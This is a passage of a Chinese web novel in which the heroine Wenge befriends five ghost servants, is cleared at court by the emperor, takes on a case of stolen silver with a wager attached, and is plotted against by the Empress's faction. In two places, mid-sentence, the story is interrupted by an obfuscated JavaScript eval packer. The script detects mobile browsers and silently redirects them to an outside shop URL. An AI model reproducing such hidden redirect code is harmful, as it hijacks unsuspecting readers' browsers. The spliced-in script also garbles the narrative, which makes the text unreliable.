“乞丐和难民怎么就不能是英豪了?”闻歌一脚踩在绣墩上,双手叉腰,对着两个目瞪口呆的丫鬟道,“上山打虎,爬树掏鸟窝,夜擒盗贼,欺骗王爷,拿石头砸皇上——这些事儿本姑娘都干过!” 她说到兴起,眼睛亮得像盛满了星子:“那段日子,那叫一个自在快活!真是给个神仙都不换!” 小桃听得入神,忍不住问:“小姐,你怎么会碰上皇上和王爷的?” “他们大概是去视察灾情的。”闻歌坐下来,提起茶壶给自己倒了杯水,“我扮得连亲娘都认不出来,从皇叔那儿骗了不少米粮银钱。谁知道——”她撇撇嘴,“皇上那眼睛比鬼还毒,一眼就把我认出来了。” 小红惊讶地捂嘴:“那、那皇上没抓你?” “他当然想抓!”闻歌哼了一声,“可我那时候以为是皇上下令驱赶难民,心里憋着火呢,捡起石头就砸了过去!”她比划着扔石头的动作,“砸完就跑,他手下那么多人,硬是没追上!” 想起当时几百号人跟在自己身后的场景,闻歌眼中闪过怀念的光:“那时候我一声令下,众人响应,那才叫真潇洒……” **有时候,最卑微的群体里,反而藏着最纯粹的义气与尊严。** 蹲在房梁暗处的五个小鬼听得津津有味。 鬼五小声嘀咕:“主人怎么不讲讲被游街时的狼狈样?” 鬼四白了他一眼:“谁讲故事不捡好听的说?换你你讲?” 鬼三托着腮,一脸羡慕:“主人还不是仗着皇上宠她。要是我也有人这么宠着该多好……” “你个傻鬼!”鬼二敲他脑袋,“都成鬼了还做白日梦!” 鬼大摸着下巴,若有所思:“我倒觉得主人挺有本事。你们记得她游街时那模样吗?身披囚服,仰天大笑,把整条街的百姓都吓住了。” 鬼五兴奋地接话:“那几个押送的官兵腿都软了!” “怪不得老神仙让我们跟着她,”鬼四点头,“咱们这主人,比鬼还可怕。” “不是可怕,”鬼三纠正,“是这样的女子太少见了。” 鬼二忽然扭捏起来:“其实……我觉得主人挺特别的。我都有些喜欢她了……” “啪!”鬼大一巴掌拍在他后脑勺,“想什么呢!还想演人鬼情未了?要喜欢也得我这做老大的先喜欢!” 五个小鬼正斗嘴,却听下方闻歌的声音忽然低了下去。 “我还认识了一群好姐妹、好哥们,不过……”她顿了顿,眼中的光彩渐渐黯淡。 “不过什么?”小桃追问。 “他们……后来怎么了?”小红也凑近了些。 闻歌垂眸,盯着杯中晃动的茶水,声音有些哑:“我们先是遇上土匪,逃命时又碰到一伙蒙面人……他们都……被杀了。” 房间里安静下来。烛火“噼啪”爆了个灯花。 小桃和小红对视一眼,都不敢再问。她们看见小姐眼眶红了,握着茶杯的手指节微微发白。 就在这时,鬼大突然低喝:“不好!” 其余四鬼顺着他指的方向望去——窗外,一道黑影正鬼鬼祟祟地贴近窗纸,手中拿着一根细竹管。 鬼五反应最快,飘身就要去拍醒闻歌。可还没等他碰到闻歌的肩膀—— “你去死吧!” 闻歌竟先一步动了!她如离弦之箭般扑向窗口,拇指精准地堵住了那根刚刚戳破窗纸的竹管口! “噗——”竹管里的粉末被反吹了回去。 窗外传来一阵剧烈咳嗽和慌乱的声音:“不好!全吸进去了!快跑!” 闻歌一把推开窗户,对着夜色中踉跄逃窜的背影冷笑:“狗天师,你三番两次找我麻烦,到底图什么?” 那身影在屋顶晃了晃,丢下一句:“拿人钱财,替人抓鬼!” “满口胡言!再敢来,小心你出门被雷劈!”闻歌对着空荡荡的屋顶骂道。从声音判断,确实是那个张天师。 她蹙眉想了想——这道士虽然古怪,但至今也没真正伤到自己,或许真是个疯子?摇摇头,她关上了窗户。 而此时,跌跌撞撞逃到街角的张天师,正经历着人生最狼狈的时刻。 迷魂药的药效上来了。他眼前发花,脚步虚浮,终于撑不住,“扑通”一声栽倒在地。路过的行人瞥了一眼,见他衣衫褴褛(方才被乞丐扯破的),以为又是个乞丐,随手丢了几枚铜钱。 “这人谁啊?”墙角阴影里,几个真乞丐探出头,“从来没到咱们这儿拜码头,一来就躺平装死?” 为首的乞丐头子啐了一口:“抢地盘抢到爷爷头上了?兄弟们,给他点颜色看看!” 几个乞丐一拥而上,对着瘫软的张天师就是一顿拳打脚踢,顺便抢走了他随身携带的桃木剑和八卦镜。打完了还不解气,几人抬着他,“嘿咻”一声扔进了旁边的臭水沟。 “装乞丐就好好装,还扮什么道士!”乞丐头子朝水沟里啐了一口,“不专业!” 闺房内,小桃和小红凑到闻歌身边,心有余悸。 “小姐,那人是谁啊?”小桃声音还有些发颤。 “他想干什么?”小红紧紧抓着闻歌的袖子。 “一只打不死的蟑螂,隔三差五就来恶心我一下。”闻歌揉了揉眉心,自己也觉得困惑,“他说自己是道士,专门来抓我身边的鬼。” “鬼?”两个丫鬟齐声惊呼。 “我也纳闷。”闻歌走到窗边,望着窗外沉沉的夜色,“若说是玩笑,他也太执着。若说当真……”她回头看了看空荡荡的房间,“我身边哪来的鬼?” 这个疑问在她心里盘旋。而梁上,五个小鬼正挤作一团,叽叽喳喳—— 鬼大:“那糟老头真可怜,鬼没抓着,自己倒被整惨了。” 鬼二:“好玩!下次他再来,咱们还这么玩!” 鬼三:“听你这意思,他还会回来?” 鬼四叹气:“这老头比鬼还难缠。” 鬼五挥了挥拳头:“下次他再来,我一锤子送他去见阎王!”说着,他顺手抓起闻歌床边矮几上的一把团扇,当作锤子比划起来。 “快放下!”鬼大惊呼。 可是晚了。 “小姐,小姐……”小桃正想说什么,一抬头,眼睛突然瞪得溜圆,“那、那扇子……” 话音未落,她眼睛一翻,软软晕倒在地。 “小姐!你看!你看啊!”小红死死咬住自己的手指,另一只手颤抖地指着半空。 闻歌转过身。 她看见自己那把湘妃竹骨、素白缎面的团扇,正悬在半空中,缓缓转动。 而握着它的手——空无一物。 房间里死一般寂静。 “靠……”闻歌从牙缝里挤出一个字,“什么鬼?” 鬼五这才反应过来自己闯祸了,手一松。 “啪嗒。”扇子轻飘飘落在地上。 五个小鬼吓得屏住呼吸,缩在梁柱阴影里一动不敢动。 “鬼啊——!”小红的尖叫划破寂静。她整个人像八爪鱼一样死死缠在闻歌身上,抖得如同秋风中的落叶。 闻歌闺房时常传出大呼小叫,府中下人都已习以为常,并无人前来查看。 “莫、莫非……真、真有……鬼?”闻歌只觉得一股凉气从脚底直冲天灵盖。她嘴唇发白,牙齿不受控制地打颤,一句简单的话说得断断续续。 但下一秒,一个念头猛地撞进她脑海—— 不对啊!我可是要修仙的人!小仙女怕什么鬼?! 这个想法像根救命稻草,让她勉强定了定神。她深吸一口气,强作镇定地对着空气道:“何方…… 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“她们现在这样子,还能听进去‘鬼话’吗?”鬼大扶额,但很快镇定下来,“不过,是该想个法子了。总这么躲着不是办法……” 廊下,闻歌和小红像两尊石雕,死死盯着那扇半开的房门。 不知过了多久,房内忽然有了动静。 一根鸡毛掸子(不知从哪儿找来的),顶端绑着一张白纸,慢悠悠地从门内探了出来。白纸上歪歪扭扭写着几个大字: 主人,我们投降。 那掸子举着纸条,在空中左右晃了晃,像是在挥舞白旗。 闻歌头皮一阵发麻,双腿又开始不听使唤地抖。 真是鬼?! 以前她说要修仙,别人都觉得她疯了。现在要是说她见鬼了,恐怕连最疼她的娘亲都不会信。 我怎么这么倒霉啊……那老神仙只说让我修仙,没说我修仙路上还得先对付鬼啊! **可自己选的路,跪着也得走完。怕归怕,该面对的终究躲不掉。** 闻歌一咬牙,撑着发软的双腿站了起来。 “小姐,你要干嘛?”小红带着哭腔问,“你、你要去跟鬼打架吗?” “我是要修仙的小仙女,”闻歌深吸一口气,努力让声音听起来镇定,“怕什么鬼?” 话虽如此,当她一步步挪回房门口时,手心已全是冷汗。 房内,那根绑着“投降书”的鸡毛掸子还在轻轻晃动,透着一股小心翼翼的试探。 闻歌先走到桌边,给自己倒了杯冷茶,仰头“咕咚”灌下。冰凉的茶水滑过喉咙,让她乱跳的心稍微平复了些。 “咚!”她将茶杯重重顿在桌上,既是壮胆,也是示威。 然后,她转向那根鸡毛掸子,清了清嗓子,尽量让声音显得威严: “何方妖孽,竟敢在本仙……本姑娘面前作怪?还不速速现身!” 房间里静了一瞬。 接着,鸡毛掸子轻轻放下,那张白纸飘落在地。片刻后,纸上墨迹竟自行变化,显现出一行新的小字: “主人,我们真的不是坏鬼。能……能坐下聊聊吗?” 闻歌盯着那行字,心跳如擂鼓。 聊?跟鬼聊? 可她想起方才那怯生生的声音,想起那张“投降书”,想起这些“鬼”似乎……并没害过人。 月光透过窗棂,在地上投下斑驳光影。 闻歌咬了咬牙,拉过一张圆凳,正襟危坐。 “好。”她对着空气说,“那你们……先说说是怎么回事。” 夜色深深,丞相府一片寂静。 而在这间闺房里,一场人与鬼的对话,即将开始。 30. 第 30 章 烛火轻轻摇曳,将闻歌紧绷的身影投在墙壁上,拉得很长。 她握着刀柄的手指节发白,声音努力维持平稳,却仍泄露出一丝不易察觉的颤音:“赶……赶快给我现身!” 话音落下,房间内静了片刻。 随即,空气泛起水波般的涟漪。五团模糊的光影一闪一闪地浮现,由虚转实,渐渐清晰。 “主人,我们知错啦……” 五个小小的身影显出身形,齐刷刷跪成一排。 闻歌终于看清了它们的模样——约莫七八岁孩童高矮,穿着破旧但整洁的短褂,脸蛋雪白,两颊却各有一团喜庆的嫣红,头顶都扎着冲天小辫,随着它们低头的动作一翘一翘。 饶是做足了心理准备,亲眼见到鬼魂显形,闻歌还是被惊得从圆凳上弹了起来。一股阴冷的气息仿佛自地底渗出,顺着脚踝攀上脊骨,直冲后脑勺。她额头瞬间沁出细密冷汗,握着“神刀”(实则是她随身携带的防身匕首)的手紧了又紧。 “主、主人,”跪在最中间的鬼大怯生生抬头,声音细细的,“我们是老神仙派来助您修仙的。” 闻歌瞳孔微缩:“什么?” 鬼二连忙补充:“真的!老神仙说您仙缘深厚,但劫难也多,特命我们兄弟五个前来护持!” “我是你们的主人?这是老神仙安排的?”闻歌绷紧的神经稍微松了松,但警惕未消。 五个小鬼齐齐点头,动作整齐得有些滑稽。 闻歌眼珠一转,试探道:“那既然我是主人,你们……怕不怕我?” “害怕!”鬼大缩了缩脖子。 “不怕!”鬼二挺起小胸脯。 “害、害怕……”鬼三声音发飘。 “不怕!”鬼四嘴硬。 “好、好怕……”鬼五都快把脑袋埋进胸口了。 意见乱七八糟。 闻歌眯起眼,手中匕首“啪”地拍在桌上:“到底怕还是不怕?!” “害怕!害怕!”五个小鬼被那声响吓得一哆嗦,终于统一了口径,小脑袋垂得更低了。 闻歌见状,心里那点残留的惧意彻底被新奇取代。原来鬼也怕人,尤其是怕凶的人?她腰杆不由得挺直了些,学着父亲审犯人的腔调:“你们跟着我多久了?” “自火云貂认主后,我们就一直跟着您了。”鬼大老老实实回答。 “你们是什么……鬼?” “我们是修行百年的貂魂。”五个小鬼齐刷刷指向闻歌腕间——那里,火云貂化作的印记在烛光下泛着微弱的红光。 闻歌下意识摸了摸手腕。难怪这貂儿有时像有灵性……原来真有灵。 “那你们怎么帮我修仙?”她追问。 五个小鬼面面相觑,然后集体摇了摇头。 “不知道?”闻歌挑眉,“那你们来干什么?装神弄鬼吓唬人?” 小鬼们又把头摇成了拨浪鼓。 它们互相使着眼色,用闻歌听不见的“鬼语”叽叽喳喳: “老大,主人好像没那么可怕了?” “闭嘴,她在试探我们!” “我觉得主人长得真好看,比庙里的仙女像还好看……” “马屁精!现在是想这个的时候吗?” “那我们该怎么办?给她捶腿?倒茶?” 闻歌见它们挤眉弄眼却不吭声,又一拍桌子:“嘀嘀咕咕说什么呢!” “我们在说主人真美!美若天仙!”鬼二反应最快。 “我们在说主人……气势非凡!”鬼三连忙接上。 “我们在想怎么伺候主人!”鬼四机灵道。 “等主人吩咐!”鬼五赶紧表忠心。 鬼大擦了把不存在的汗:“……它们说的都对。” 闻歌看着这五个表情生动、怂中带萌的小鬼,差点没绷住笑出来。她赶紧抿紧嘴唇,告诫自己:初次见面,威严要紧!不然以后怎么管得住这帮鬼崽子? 她故意板起脸,冷哼一声。 五个小鬼察言观色,立刻行动起来—— 鬼大飘到桌边,小心翼翼地捧起茶壶倒水;鬼二不知从哪儿摸出一小碟瓜子,认真剥了起来;鬼三、鬼四一左一右凑到闻歌腿边,伸出半透明的小拳头,轻轻捶腿;鬼五则拿起一旁的团扇,殷勤地扇风。 动作虽然生疏,甚至有些滑稽(鬼四捶腿捶到了自己脑袋),但那副努力讨好的模样,实在让人忍俊不禁。 闻歌端起茶杯,借氤氲的热气掩住上扬的嘴角。这些小鬼……好像还挺有意思? 恰在此时,门外传来窸窸窣窣的声响。小桃和小红互相搀扶着,战战兢兢地探进半个脑袋。 “进来吧,别怕。”闻歌朝她们招手,语气轻松,“它们是我的手下,老神仙派来伺候我的。” 小桃瞪大了眼睛,对小红耳语:“小姐……不会是鬼上身了吧?” 小红壮着胆子问:“小姐,您、您没事吧?” “没事,过来。”闻歌笑了笑,转头对五个小鬼道,“来,见过我的两个好姐妹。” 五个小鬼立刻转向门口,齐刷刷行礼: “鬼大,见过两位小主!” “鬼二,见过!” “鬼三,给两位小主请安啦!” “鬼四,见、见过!” “鬼五,拜见主子!” 小桃和小红目瞪口呆地看着茶杯自动飘到面前,看着瓜子仁一颗颗落入碟中,看着团扇无风自动……半晌,小桃颤巍巍接过茶杯,喃喃道:“小、小姐……您太厉害了……” 连鬼都能收服! 闻歌翘起二郎腿,享受着“小鬼按摩”,心中那点最后的不安也烟消云散。**原来恐惧大多源于未知,一旦看清了、熟悉了,即便是鬼,也不过是另一种模样的“生灵”。** 这一夜,闻歌闺房灯火通明,时而传出压低的笑声和惊呼。 而窗外,月色皎洁,星子疏朗。 翌日,皇宫,朝堂。 闻歌隐在金龙屏风后的门帘内,透过缝隙望向殿外。金銮殿庄严肃穆,文武百官分列两侧,鸦雀无声。 萧昌高坐龙椅,玄色冕旒垂下,遮住了他大半神情,唯见薄唇微启,声音沉稳地传遍大殿: “朕今日只议一事——关于安国郡主的处置。” 殿内气息为之一凝。 “前次朝议,诸位爱卿争执不下。”萧昌指尖轻叩扶手,“朕思忖良久,倒是觉得——直接赦免,亦无不可。诸位,意下如何?” 门帘后,闻歌心口一跳。她知道这是萧昌在为她铺路,以便名正言顺地去查案。可她也清楚,这话一出,必遭反对。 果然,武将队列中,一人大步出列。 “微臣以为,不可!” 声如洪钟。闻歌眯眼望去——那是一位身材魁梧、面容刚毅的将军,甲胄锃亮,气势逼人。 “你谁啊?”闻歌腹诽,“脑袋让门夹了?皇上都开口了还敢反对?” 紧接着,又一个出乎意料的声音响起:“微臣以为,皇上圣明,赦免安国郡主,正当其时。” 闻歌循声望去,竟是皇叔!那个之前恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992199|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得立刻将她斩首的王爷! 她心中警铃大作。皇叔转性了?还是……另有所图?黄鼠狼给鸡拜年,能安什么好心? 萧昌似乎并不意外,抬手虚按:“皇叔稍安。”他目光转向那位武将,“赵爱卿,且说说你的道理。” 赵柯成抱拳,声震殿宇:“安国郡主闻歌,自称天子、杀害官兵、抢夺官银,证据确凿!若不治罪,国法何在?军心何存?臣请旨,立斩闻歌,以正国法!” 闻歌在帘后气得咬牙。赵大将军?皇后本家就姓赵,听说她有个哥哥掌着京畿兵权……好嘛,皇后那边的人也跳出来了!我刨你家祖坟了? 萧昌神色未变,只淡淡问:“证据确凿?朕倒想听听,如何确凿法?” 闻丞相急忙出列:“皇上明鉴!小女绝未犯下如此重罪!” “丞相爱女心切,可以理解。”赵柯成毫不退让,“但据报,安国郡主被捕之处,正是官银被劫现场!护送官兵全军覆没,其同党亦在场!人证物证,皆指向她!” 萧昌身体微微前倾:“哦?那现场那些蒙面尸首是何人?她的‘同党’为何尽数被杀?被劫的官银,又在哪里?” 赵柯成微微一滞,旋即道:“必是分赃不均,内讧所致!至于官银,定是被其藏匿!” “赵将军,”萧昌声音沉了几分,“据朕所知,当时她身边不过百人,且多是老弱妇孺。而押运官兵上千,装备精良。你告诉朕,这群拿着烧火棍的百姓,如何能从上千官兵手中‘抢夺’官银?又如何在‘内讧’中被杀后,官银却不翼而飞?” 赵柯成额角见汗:“这……其中必有武艺高强之辈……” “武艺高强?”萧昌冷笑,“那他们现在何处?坟冢之中吗?” “即便抢夺官银存疑,”赵柯成咬牙转换话锋,“但她自称‘土皇帝’,藐视皇权,总是事实!” 萧昌忽然笑了。那笑容里带着一种洞察世事的淡然。 “若真有这样一位‘土皇帝’,”他缓缓扫视群臣,“她不贪权,不敛财,带着流离失所的难民乞丐开荒种地、自食其力,让他们有屋可居、有饭可食……这难道不是变相替朕安抚了流民,稳固了地方?” 他顿了顿,一字一句道:“这样的‘土皇帝’,朕非但不罚,还要赏!” 门帘后,闻歌怔住了。她没想到萧昌会从这个角度为她辩护。那些她以为是“胡闹”的经历,在他口中,竟成了“安抚流民”“稳固地方”的功绩。 心底某个角落,被轻轻触动了。 “皇上圣明!洞察秋毫,臣等拜服!”闻丞相与几位大臣连忙附和。 皇叔也躬身道:“皇上胸怀四海,仁德载物,安国郡主虽行事跳脱,然初心不坏,确可宽宥。” 赵柯成脸色铁青,却一时语塞。 萧昌目光掠过他,望向殿外辽阔的天空,声音平静却带着不容置疑的力量:“此事,朕意已决。安国郡主闻歌,所涉诸事,皆系误会。即日起,恢复其一切尊荣,不得再议。” 他站起身,冕旒玉珠轻撞,发出清脆声响。 “退朝。” 百官山呼万岁。 闻歌站在帘后,看着那道明黄身影转身离去,忽然觉得,这个她一直认为是“昏君”的男人,或许比她想象中,要复杂得多。 他为何如此坚定地保她?真的只是为了让她查案?还是……另有深意? 而殿外,阳光正好,穿过高高的窗棂,在光洁的金砖上投下道道光柱。 一场风波暂歇。 但暗涌,从未停止。 31. 第 31 章 “皇上圣明,万岁万岁万万岁——” 山呼声中,文武百官次第跪倒。金砖映着晨光,明晃晃一片。 赵柯成环顾四周,见跪倒的大臣已逾大半,连几位素来中立的阁老都俯首称臣。他脸色铁青,腮帮肌肉绷紧,终究还是缓缓屈膝,声音从牙缝里挤出:“皇上圣明,万岁万岁万万岁。” 最后几位站着的臣子见状,也相继跪下。朝堂之上,再无异议。 萧昌端坐龙椅,冕旒玉珠轻晃,遮住了他眼底一闪而过的笑意。他朝身侧的黄公公略一颔首。 “传——安国郡主觐见!”黄公公尖细的嗓音穿透大殿。 闻歌自后堂屏风后转出,步履平稳,脊背挺直。她能感觉到无数目光落在身上,或探究,或敌视,或好奇。其中一道尤其灼人——赵柯成那双铜铃般的眼睛,正死死瞪着她,怒火几乎要喷薄而出。 闻歌心中冷哼:瞪什么瞪?不服气?有本事上来咬我啊! 经过赵柯成面前时,她非但不避,反而刻意放缓了脚步,下巴微扬,眼风轻飘飘扫过他,带着毫不掩饰的挑衅。赵柯成拳头攥得咯咯响,却碍于朝堂威仪,只能硬生生忍住。 闻歌站定,敛衽行礼:“卑女闻歌,叩见皇上。” “平身。”萧昌的声音自上传来,平静无波,“安国郡主,你所涉诸案,虽无确凿定罪之据,然嫌疑未消。朕欲给你一个自证清白的机会,你可愿意?” 来了。闻歌心道。 昨夜她辗转反侧,想的便是此事。查案?她本一心求仙,最厌烦这些俗世纠葛、官场倾轧。可那些鲜活的面容总在眼前晃动——小姑娘捧着半个窝窝头递给她时的腼腆笑容,李婆子夜里为她掖被角的粗糙手掌,大李憨厚地喊她“头儿”,张婆子絮絮叨叨的关心,小丫追在她身后“姐姐、姐姐”的清脆童音…… 他们都死了。死得不明不白。 **修仙修的是超脱,可若连眼前的不平都不敢直面,连逝者的冤屈都无力伸张,这仙,修来何用?或许渡人,亦是渡己。** “安国郡主?”黄公公轻声提醒,“皇上问您话呢。” 闻歌抬眸,望向上方那模糊在冕旒后的面容,深吸一口气:“卑女……听从皇上旨意。” “好。”萧昌颔首,“朕命你为八府巡按,专办南方官银被劫、难民被害一案。赐你御令金牌,所到之处,如朕亲临。案情进展,需时时向朕禀报。” “臣,领旨。”闻歌接过太监捧来的金牌,入手沉甸甸的。 退朝后,闻歌照例被留下。 “安国郡主,皇上请您至景和宫偏殿等候。”黄公公笑眯眯地躬身。 “还有别的事?”闻歌蹙眉。 “这个……老奴不知。您去便是。” 闻歌无奈,只得跟着引路太监往深宫走去。心里却直打鼓:这狗皇帝又想干嘛?案子都接了,还不放我回家?难不成上次在景和宫迷路的笑话还没看够? 想到“整人”,她有点心虚——毕竟,她整他在先。 景和宫偏殿陈设清雅,熏着淡淡的龙涎香。闻歌刚坐下不久,便听门外脚步声近。萧昌已换下朝服,着一身月白常袍进来,玉冠束发,少了朝堂上的威重,多了几分清俊风流。 “皇上找臣女,还有何吩咐?”闻歌想快点脱身,回去找那五个小鬼商量查案大计。 “急什么?”萧昌在她对面坐下,亲手斟了杯茶推过去,“先喝杯茶。朕记得,上一杯茶,可是替你报了游街之辱。” 闻歌想起李知府和魏县令捧着御茶、战战兢兢最后摔了杯子挨板子的模样,忍不住唇角微弯:“那是他们自己手抖,怪得了谁?”她顿了顿,“皇上到底想说什么?” 萧昌看着她,目光深了深:“今日朝堂,你可明白朕的心意?” 又来了。闻歌心里翻个白眼。不就是想说“你看朕多护着你,感动吗?还不快以身相许”?套路,全是套路! “皇上让臣女办案的心意,臣女明白了。”她故意装傻。 萧昌低笑,也不点破,转而道:“朕对你办案,是有要求的。” “什么要求?” “限期半年结案。” “半年?”闻歌挑眉。 “嫌短?” “嫌长。”闻歌放下茶杯,眼神里透出一股狡黠和自信,“三个月足矣。” 萧昌微微一怔,显然没料到她如此托大:“你未免太过自信。此案盘根错节,牵涉甚广。” “皇上不信?”闻歌迎上他的目光,“不如……我们打个赌?” “打赌?”萧昌饶有兴致地向前倾身,“朕倒要听听,怎么个赌法?” “若我三个月内破案,”闻歌一字一句道,“请皇上允诺,今后不再以任何理由召我入宫,不再……提纳妃之事。还我清净,让我安心修仙。” 萧昌眼神暗了暗:“你就这般讨厌朕?” “与讨厌无关。”闻歌别开视线,“人各有志。” “若你破不了呢?” 闻歌咬咬牙,豁出去了:“若破不了……臣女任凭皇上处置。”她顿了顿,补充道,“为妃为嫔,悉听尊便。” “好!”萧昌拊掌,眼中光华流转,“一言为定!君无戏言!” 他似乎已然胜券在握。半年他都觉得紧迫,三个月?简直天方夜谭。这丫头,终究是年轻气盛。不过……他喜欢她这副意气风发、敢跟他叫板的样子。比后宫那些唯唯诺诺的女子,生动千万倍。 闻歌看着他毫不掩饰的愉悦,心中冷笑:笑吧,现在笑得多开心,以后输得就有多惨。有五个小鬼帮忙,查点线索还不是手到擒来?到时候看你还有什么借口缠着我! “皇上若无事,臣女先告退了。”她起身欲走。 “慢着。”萧昌叫住她,从袖中取出一卷文书,“还有一事。闻义博……是你堂哥?” 闻歌脚步顿住,心头升起不好的预感:“是。他……怎么了?” “你自己看吧。”萧昌将文书递过来。 闻歌上前去接,指尖刚触到纸卷,萧昌忽然手腕一转,轻轻一带—— “啊!”闻歌猝不及防,整个人被带得向前扑去,不偏不倚撞进他怀里! 温热的胸膛,清冽的龙涎香气瞬间包裹了她。萧昌的手臂顺势环住她的腰,将她稳稳扶住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992200|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却没有立刻松开。 “你!”闻歌又羞又恼,挣扎着站直,脸红得像要滴血,“放开!” 萧昌从善如流地松手,却笑得像只偷腥的猫:“朕不过试试你的身手,还是这么……投怀送抱。” “那是意外!”闻歌气得瞪他。上次是被小鬼踹的,这次是被他拉的!这狗皇帝,怎么总能把黑的说成白的? “是吗?”萧昌慢条斯理地整理衣袖,“朕倒觉得,是缘分。”他抬眼,目光灼灼地看她,“朕长得……不够俊?不够让你心动?” 闻歌被他看得心慌,强作镇定地怼回去:“皇上英俊潇洒不足,风流自恋有余。” “爱妃如此评价,可是在暗示朕……”他故意拖长声音。 “谁是你爱妃!”闻歌像被踩了尾巴的猫。 “迟早会是。”萧昌笑得笃定,“与朕相伴,难道会是噩梦?” “是美梦才怪!”闻歌别开脸,耳根却不受控制地发烫。这人的脸皮怎么比城墙还厚? 萧昌不再逗她,指指她手中的文书:“先看看你堂哥干的好事。” 闻歌这才收敛心神,展开卷宗。越看,脸色越沉。强抢民女,逼死人命,纵奴行凶,侵占田产……一桩桩,一件件,触目惊心。最后竟还有苦主联名上告,状纸直指闻丞相教子无方、纵容亲族,连带她这个“妖女”郡主也成了罪状之一! “荒唐!”闻歌气得手抖,“他自己作死,凭什么扯上我爹和我!” “他们是来告御状的。”萧昌语气严肃起来,“你觉得,该如何处置?” 闻歌沉默。按律,闻义博死罪难逃。可那是伯父的独子,是堂妹闻清的亲哥哥。若真依法严办,闻家二房就绝后了,父亲与伯父之间……必将产生难以弥合的裂痕。 **亲情与法理,有时候像一把双刃剑,无论握住哪一边,都会割伤自己。** “臣女……”她喉咙发干,“没有意见。全凭皇上圣裁。” “不想为他求情?”萧昌注视着她,不错过她脸上任何一丝挣扎。 求情?闻歌心中天人交战。求了,对不起那些枉死的百姓,对不起律法公正,也对不起自己的良心。不求……那毕竟是血脉相连的堂兄。 “朕再问你一次。”萧昌的声音不高,却带着压力。 闻歌闭上眼,眼前闪过小姑娘纯真的笑脸,闪过李婆子慈祥的面容,也闪过伯父从前待她的温和,闻清儿时跟在她身后叫“姐姐”的模样……最终,那些惨死的难民面容定格下来。 她睁开眼,眼底已是一片清明:“臣女,无话可说。请皇上……依法处置。” 萧昌深深看了她一眼,那目光里有审视,有探究,或许……还有一丝不易察觉的赞许。 “既如此,朕便交由刑部,依法查办。”他收起卷宗,“你回去吧。好好准备查案,朕……等着你的消息。” 闻歌行礼告退,走出殿门时,脚步有些沉重。 夕阳将她的影子拉得很长。宫道深深,朱墙巍巍。 一场赌约,一桩家案。前路迷雾重重,而她已没有退路。 三个月。 她必须赢。 32. 第 32 章 凤仪宫内,沉水香的青烟从鎏金兽炉中袅袅升起,却驱不散殿内压抑的气氛。 皇后端坐主位,指尖无意识地摩挲着腕间那串和田玉佛珠。她的兄长赵柯成坐在下首,甲胄未卸,眉宇间还带着朝堂上未散的戾气。 “哥哥,今日朝议……究竟如何?”皇后的声音不高,却字字清晰。 赵柯成从鼻子里哼出一声:“皇上已当朝任命闻歌为八府巡按,专办南方那桩案子。”他顿了顿,语气愈发不善,“皇上态度坚决,连皇叔都转了风向,我一人之力,难以回天。” 皇后沉默,佛珠转动的速度加快了几分。 “皇后娘娘,”赵柯成身子前倾,压低声音,“你对这位安国郡主,了解多少?末将常年在外,京中之事知之甚少。” “她?”皇后抬眸,眼底掠过一丝寒芒,“就是个会使妖术的祸水。” “妖术?”赵柯成皱眉。 “她身边养着五只小鬼,来历不明。”皇后声音压得更低,“本宫已请了玉清观的张天师前去收服,只是……” “只是什么?” “屡屡失手。”皇后蹙起精心描画的眉,“若让她借着查案之名,又有那些鬼物相助,顺藤摸瓜……恐怕迟早会查到我们头上。” 赵柯成不以为意:“银子不是被另一伙人劫走了吗?与我们何干?” “哥哥!”皇后语气重了些,“那批官银,是我们先动的手!虽说中途被人黑吃黑,可一旦查起源头——”她盯着赵柯成,“这就是抄家灭族的死罪!” 赵柯成脸色微变,终于意识到事情的严重性。他拳头攥紧:“既如此,末将派人做了她便是!一个黄毛丫头,还能翻出天去?” “不可。”皇后摇头,“皇上刚任命她,她就出事,皇上岂会善罢甘休?那闻歌看着冲动莽撞,实则心思细密。本宫几次设局,都未能抓住她的把柄。”她看着兄长,语重心长,“此事不比战场厮杀,需得谋定而后动。” 赵柯成是个直肠子,不耐地拍了下椅子扶手:“这也不行,那也不行,难道坐等她来查我们?” 皇后正欲开口,殿外传来通禀:“启禀娘娘,张天师求见。” “让他进来。”皇后对赵柯成使了个眼色,“哥哥先到屏风后暂避,听听这道人怎么说。” 赵柯成起身闪入后殿。不多时,张天师躬身入内,道袍虽换洗过,但脸上青紫未消,走路时腿脚似乎还有些不大利索。 “贫道叩见娘娘。”张天师行礼,抬头时脸上伤痕清晰可见。 皇后眸光微凝:“天师这是……?” “昨夜贫道已设法困住那五只小鬼,”张天师面不改色,信口编来,“正要收服时,突遭数名蒙面高手袭击!贫道与他们激战三百回合,难分胜负,不料他们竟使诈偷袭……”他痛心疾首地摇头,“贫道一时不察,着了道,让那些小鬼趁乱逃了。” 他说得绘声绘色,仿佛真有那么一场惊天动地的恶斗。总不能实话实说——自己被迷药反噬晕倒,让几个乞丐当成抢地盘的揍了一顿,最后还被扔进臭水沟泡了半宿吧?那他这玉清观百年招牌还要不要了? 皇后听着,鼻翼忽然动了动,眼底掠过一丝疑虑:“天师身上……似乎有股异味?” 张天师身子一僵,暗叫不妙。他明明用香胰子搓了十几遍,皮都快搓掉一层,怎么还有味儿?他强作镇定:“许是昨夜激斗,沾染了污秽之气,还未散尽。” 